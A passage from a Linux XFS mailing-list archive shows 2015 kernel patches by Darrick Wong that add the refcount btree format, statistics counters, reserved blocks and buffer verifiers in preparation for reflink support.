XFS_FIBT_CRC_MAGIC, + XFS_REFC_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ xfs_magics[!!((cur)->bc_flags & XFS_BTREE_CRC_BLOCKS)][cur->bc_btnum] diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index dd29d15..4b49e35 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -66,6 +66,7 @@ union xfs_btree_rec { #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) #define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) #define XFS_BTNUM_RMAP ((xfs_btnum_t)XFS_BTNUM_RMAPi) +#define XFS_BTNUM_REFC ((xfs_btnum_t)XFS_BTNUM_REFCi) /* * For logging record fields. @@ -98,6 +99,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_INC(rmap, stat); break; \ + case XFS_BTNUM_REFC: break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -113,6 +115,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_ADD(rmap, stat, val); break; \ + case XFS_BTNUM_REFC: break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -217,6 +220,7 @@ typedef struct xfs_btree_cur union { struct { /* needed for BNO, CNT, INO */ struct xfs_buf *agbp; /* agf/agi buffer pointer */ + struct xfs_bmap_free *flist; /* list to free after */ xfs_agnumber_t agno; /* ag number */ } a; struct { /* needed for BMAP */ diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index c4a73e9..600b327 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -448,6 +448,7 @@ xfs_sb_has_compat_feature( #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ #define XFS_SB_FEAT_RO_COMPAT_RMAPBT (1 << 1) /* reverse map btree */ +#define XFS_SB_FEAT_RO_COMPAT_REFLINK (1 << 2) /* reflinked files */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ (XFS_SB_FEAT_RO_COMPAT_FINOBT | \ XFS_SB_FEAT_RO_COMPAT_RMAPBT) @@ -526,6 +527,12 @@ static inline bool xfs_sb_version_hasrmapbt(struct xfs_sb *sbp) (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_RMAPBT); } +static inline bool xfs_sb_version_hasreflink(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_REFLINK); +} + /* * XFS_SB_FEAT_INCOMPAT_META_UUID indicates that the metadata UUID * is stored separately from the user-visible UUID; this allows the @@ -632,12 +639,15 @@ typedef struct xfs_agf { __be32 agf_btreeblks; /* # of blocks held in AGF btrees */ uuid_t agf_uuid; /* uuid of filesystem */ + __be32 agf_refcount_root; /* refcount tree root block */ + __be32 agf_refcount_level; /* refcount btree levels */ + /* * reserve some contiguous space for future logged fields before we add * the unlogged fields. This makes the range logging via flags and * structure offsets much simpler. */ - __be64 agf_spare64[16]; + __be64 agf_spare64[15]; /* unlogged fields, written during buffer writeback. */ __be64 agf_lsn; /* last write sequence */ @@ -1024,6 +1034,18 @@ static inline void xfs_dinode_put_rdev(struct xfs_dinode *dip, xfs_dev_t rdev) XFS_DIFLAG_EXTSZINHERIT | XFS_DIFLAG_NODEFRAG | XFS_DIFLAG_FILESTREAM) /* + * Values for di_flags2 + * There should be a one-to-one correspondence between these flags and the + * XFS_XFLAG_s. + */ +#define XFS_DIFLAG2_REFLINK_BIT 0 /* file's blocks may be reflinked */ +#define XFS_DIFLAG2_REFLINK (1 << XFS_DIFLAG2_REFLINK_BIT) + +#define XFS_DIFLAG2_ANY \ + (XFS_DIFLAG2_REFLINK) + + +/* * Inode number format: * low inopblog bits - offset in block * next agblklog bits - block number in ag @@ -1368,7 +1390,8 @@ XFS_RMAP_INO_OWNER( #define XFS_RMAP_OWN_AG (-5ULL) /* AG freespace btree blocks */ #define XFS_RMAP_OWN_INOBT (-6ULL) /* Inode btree blocks */ #define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ -#define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ +#define XFS_RMAP_OWN_REFC (-8ULL) /* refcount tree */ +#define XFS_RMAP_OWN_MIN (-9ULL) /* guard */ #define XFS_RMAP_NON_INODE_OWNER(owner) (!!((owner) & (1ULL << 63))) @@ -1471,6 +1494,13 @@ xfs_owner_info_pack( } /* + * Reference Count Btree format definitions + * + */ +#define XFS_REFC_CRC_MAGIC 0x52334643 /* 'R3FC' */ + + +/* * BMAP Btree format definitions * * This includes both the root block definition that sits inside an inode fork diff --git a/fs/xfs/libxfs/xfs_types.h b/fs/xfs/libxfs/xfs_types.h index 3d50364..be7b6de 100644 --- a/fs/xfs/libxfs/xfs_types.h +++ b/fs/xfs/libxfs/xfs_types.h @@ -109,7 +109,7 @@ typedef enum { typedef enum { XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_RMAPi, XFS_BTNUM_BMAPi, - XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_MAX + XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_REFCi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index ca9e119..6436a96 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -202,6 +202,11 @@ xfs_get_initial_prid(struct xfs_inode *dp) return XFS_PROJID_DEFAULT; } +static inline bool xfs_is_reflink_inode(struct xfs_inode *ip) +{ + return ip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK; +} + /* * In-core inode flags. */ diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index cdced0b..4b286cc 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -315,6 +315,9 @@ typedef struct xfs_perag { /* for rcu-safe freeing */ struct rcu_head rcu_head; int pagb_count; /* pagb slots in use */ + + /* reference count */ + __uint8_t pagf_refcount_level; } xfs_perag_t; extern int xfs_log_sbcount(xfs_mount_t *); From darrick.wong@oracle.com Tue Oct 6 23:58:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF57C7FA4 for ; Tue, 6 Oct 2015 23:58:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DF327304032 for ; Tue, 6 Oct 2015 21:58:56 -0700 (PDT) X-ASG-Debug-ID: 1444193935-04cbb03f140d5f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 5OOuzJDkHwNlexEI (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:58:55 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wsN8012716 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:58:54 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974wrfD027270 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:53 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974wqDB019238; Wed, 7 Oct 2015 04:58:53 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:52 -0700 Subject: [PATCH 34/58] xfs: add refcount btree stats infrastructure From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 34/58] xfs: add refcount btree stats infrastructure To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:51 -0700 Message-ID: <20151007045851.30457.86030.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193935 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines The refcount btree presents the same stats as the other btrees, so add all the code for that now. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_btree.h | 4 ++-- fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +++++++++++++++++- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 4b49e35..8c59521 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -99,7 +99,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_INC(rmap, stat); break; \ - case XFS_BTNUM_REFC: break; \ + case XFS_BTNUM_REFC: __XFS_BTREE_STATS_INC(refcbt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -115,7 +115,7 @@ do { \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_ADD(rmap, stat, val); break; \ - case XFS_BTNUM_REFC: break; \ + case XFS_BTNUM_REFC: __XFS_BTREE_STATS_ADD(refcbt, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index 67bbfa2..64a60ef 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -61,6 +61,7 @@ static int xfs_stat_proc_show(struct seq_file *m, void *v) { "ibt2", XFSSTAT_END_IBT_V2 }, { "fibt2", XFSSTAT_END_FIBT_V2 }, { "rmapbt", XFSSTAT_END_RMAP_V2 }, + { "refcntbt", XFSSTAT_END_REFCOUNT }, /* we print both series of quota information together */ { "qm", XFSSTAT_END_QM }, }; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index 8414db2..f6e4de6 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -215,7 +215,23 @@ struct xfsstats { __uint32_t xs_rmap_2_alloc; __uint32_t xs_rmap_2_free; __uint32_t xs_rmap_2_moves; -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_RMAP_V2+6) +#define XFSSTAT_END_REFCOUNT (XFSSTAT_END_RMAP_V2 + 15) + __uint32_t xs_refcbt_2_lookup; + __uint32_t xs_refcbt_2_compare; + __uint32_t xs_refcbt_2_insrec; + __uint32_t xs_refcbt_2_delrec; + __uint32_t xs_refcbt_2_newroot; + __uint32_t xs_refcbt_2_killroot; + __uint32_t xs_refcbt_2_increment; + __uint32_t xs_refcbt_2_decrement; + __uint32_t xs_refcbt_2_lshift; + __uint32_t xs_refcbt_2_rshift; + __uint32_t xs_refcbt_2_split; + __uint32_t xs_refcbt_2_join; + __uint32_t xs_refcbt_2_alloc; + __uint32_t xs_refcbt_2_free; + __uint32_t xs_refcbt_2_moves; +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_REFCOUNT + 6) __uint32_t xs_qm_dqreclaims; __uint32_t xs_qm_dqreclaim_misses; __uint32_t xs_qm_dquot_dups; From darrick.wong@oracle.com Tue Oct 6 23:59:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F7A87FA4 for ; Tue, 6 Oct 2015 23:59:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D7CEE8F8040 for ; Tue, 6 Oct 2015 21:59:02 -0700 (PDT) X-ASG-Debug-ID: 1444193941-04bdf020db0e510001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id G60jvp5FhCFUb14X (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:01 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974wxXn007726 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:00 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974wxhQ008417 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:58:59 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974wx83003500; Wed, 7 Oct 2015 04:58:59 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:58:59 -0700 Subject: [PATCH 35/58] xfs: refcount btree add more reserved blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 35/58] xfs: refcount btree add more reserved blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:58:57 -0700 Message-ID: <20151007045857.30457.23877.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193941 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Since XFS reserves a small amount of space in each AG as the minimum free space needed for an operation, save some more space in case we touch the refcount btree. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 13 +++++++++++++ fs/xfs/libxfs/xfs_format.h | 2 ++ 2 files changed, 15 insertions(+) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 6e7f0a6..bd8aa8c 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -50,10 +50,23 @@ STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +unsigned int +xfs_refc_block( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + return XFS_RMAP_BLOCK(mp) + 1; + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + return XFS_FIBT_BLOCK(mp) + 1; + return XFS_IBT_BLOCK(mp) + 1; +} + xfs_extlen_t xfs_prealloc_blocks( struct xfs_mount *mp) { + if (xfs_sb_version_hasreflink(&mp->m_sb)) + return xfs_refc_block(mp) + 1; if (xfs_sb_version_hasrmapbt(&mp->m_sb)) return XFS_RMAP_BLOCK(mp) + 1; if (xfs_sb_version_hasfinobt(&mp->m_sb)) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 600b327..5757440 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1499,6 +1499,8 @@ xfs_owner_info_pack( */ #define XFS_REFC_CRC_MAGIC 0x52334643 /* 'R3FC' */ +unsigned int xfs_refc_block(struct xfs_mount *mp); + /* * BMAP Btree format definitions From darrick.wong@oracle.com Tue Oct 6 23:59:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 37D4B7FB1 for ; Tue, 6 Oct 2015 23:59:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9CD86AC007 for ; Tue, 6 Oct 2015 21:59:12 -0700 (PDT) X-ASG-Debug-ID: 1444193949-04cb6c578a0d530001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id oZOlXbmIJNCKILa9 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:10 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974x9j6008088 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:09 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974x97K003059 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:09 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974x8ql006490; Wed, 7 Oct 2015 04:59:09 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:08 -0700 Subject: [PATCH 36/58] xfs: define the on-disk refcount btree format From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 36/58] xfs: define the on-disk refcount btree format To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:04 -0700 Message-ID: <20151007045904.30457.15744.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193949 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Start constructing the refcount btree implementation by establishing the on-disk format and everything needed to read, write, and manipulate the refcount btree blocks. Signed-off-by: Darrick J. Wong --- fs/xfs/Makefile | 1 fs/xfs/libxfs/xfs_btree.c | 3 + fs/xfs/libxfs/xfs_btree.h | 3 + fs/xfs/libxfs/xfs_format.h | 32 +++++++ fs/xfs/libxfs/xfs_refcount_btree.c | 173 ++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount_btree.h | 65 ++++++++++++++ fs/xfs/libxfs/xfs_sb.c | 9 ++ fs/xfs/libxfs/xfs_shared.h | 2 fs/xfs/xfs_mount.h | 2 9 files changed, 290 insertions(+) create mode 100644 fs/xfs/libxfs/xfs_refcount_btree.c create mode 100644 fs/xfs/libxfs/xfs_refcount_btree.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index dc40462..c394ec2 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -53,6 +53,7 @@ xfs-y += $(addprefix libxfs/, \ xfs_log_rlimit.o \ xfs_rmap.o \ xfs_rmap_btree.o \ + xfs_refcount_btree.o \ xfs_sb.o \ xfs_symlink_remote.o \ xfs_trans_resv.o \ diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index b6ebfc6..c90feee 100644 --- a/fs/xfs/libxfs/xfs_btree.c +++ b/fs/xfs/libxfs/xfs_btree.c @@ -1121,6 +1121,9 @@ xfs_btree_set_refs( case XFS_BTNUM_RMAP: xfs_buf_set_ref(bp, XFS_RMAP_BTREE_REF); break; + case XFS_BTNUM_REFC: + xfs_buf_set_ref(bp, XFS_REFC_BTREE_REF); + break; default: ASSERT(0); } diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 8c59521..94848a1 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -43,6 +43,7 @@ union xfs_btree_key { xfs_alloc_key_t alloc; struct xfs_inobt_key inobt; struct xfs_rmap_key rmap; + struct xfs_refcount_key refc; }; union xfs_btree_rec { @@ -51,6 +52,7 @@ union xfs_btree_rec { struct xfs_alloc_rec alloc; struct xfs_inobt_rec inobt; struct xfs_rmap_rec rmap; + struct xfs_refcount_rec refc; }; /* @@ -208,6 +210,7 @@ typedef struct xfs_btree_cur xfs_bmbt_irec_t b; xfs_inobt_rec_incore_t i; struct xfs_rmap_irec r; + struct xfs_refcount_irec rc; } bc_rec; /* current insert/search record value */ struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ int bc_ptrs[XFS_BTREE_MAXLEVELS]; /* key/record # */ diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 5757440..98e52ab 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1501,6 +1501,38 @@ xfs_owner_info_pack( unsigned int xfs_refc_block(struct xfs_mount *mp); +/* + * Data record/key structure + * + * Each record associates a range of physical blocks (starting at + * rc_startblock and ending rc_blockcount blocks later) with a + * reference count (rc_refcount). A record is only stored in the + * btree if the refcount is > 2. An entry in the free block btree + * means that the refcount is 0, and no entries anywhere means that + * the refcount is 1, as was true in XFS before reflinking. + */ +struct xfs_refcount_rec { + __be32 rc_startblock; /* starting block number */ + __be32 rc_blockcount; /* count of blocks */ + __be32 rc_refcount; /* number of inodes linked here */ +}; + +struct xfs_refcount_key { + __be32 rc_startblock; /* starting block number */ +}; + +struct xfs_refcount_irec { + xfs_agblock_t rc_startblock; /* starting block number */ + xfs_extlen_t rc_blockcount; /* count of free blocks */ + xfs_nlink_t rc_refcount; /* number of inodes linked here */ +}; + +#define MAXREFCOUNT ((xfs_nlink_t)~0U) +#define MAXREFCEXTLEN ((xfs_extlen_t)~0U) + +/* btree pointer type */ +typedef __be32 xfs_refcount_ptr_t; + /* * BMAP Btree format definitions diff --git a/fs/xfs/libxfs/xfs_refcount_btree.c b/fs/xfs/libxfs/xfs_refcount_btree.c new file mode 100644 index 0000000..7067a05 --- /dev/null +++ b/fs/xfs/libxfs/xfs_refcount_btree.c @@ -0,0 +1,173 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2015 Oracle. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_btree.h" +#include "xfs_bmap.h" +#include "xfs_refcount_btree.h" +#include "xfs_alloc.h" +#include "xfs_error.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_trans.h" +#include "xfs_bit.h" + +static struct xfs_btree_cur * +xfs_refcountbt_dup_cursor( + struct xfs_btree_cur *cur) +{ + return xfs_refcountbt_init_cursor(cur->bc_mp, cur->bc_tp, + cur->bc_private.a.agbp, cur->bc_private.a.agno, + cur->bc_private.a.flist); +} + +STATIC bool +xfs_refcountbt_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + unsigned int level; + + if (block->bb_magic != cpu_to_be32(XFS_REFC_CRC_MAGIC)) + return false; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return false; + if (!xfs_btree_sblock_v5hdr_verify(bp)) + return false; + + level = be16_to_cpu(block->bb_level); + if (pag && pag->pagf_init) { + if (level >= pag->pagf_refcount_level) + return false; + } else if (level >= mp->m_ag_maxlevels) + return false; + + return xfs_btree_sblock_verify(bp, mp->m_refc_mxr[level != 0]); +} + +STATIC void +xfs_refcountbt_read_verify( + struct xfs_buf *bp) +{ + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, -EFSBADCRC); + else if (!xfs_refcountbt_verify(bp)) + xfs_buf_ioerror(bp, -EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); + } +} + +STATIC void 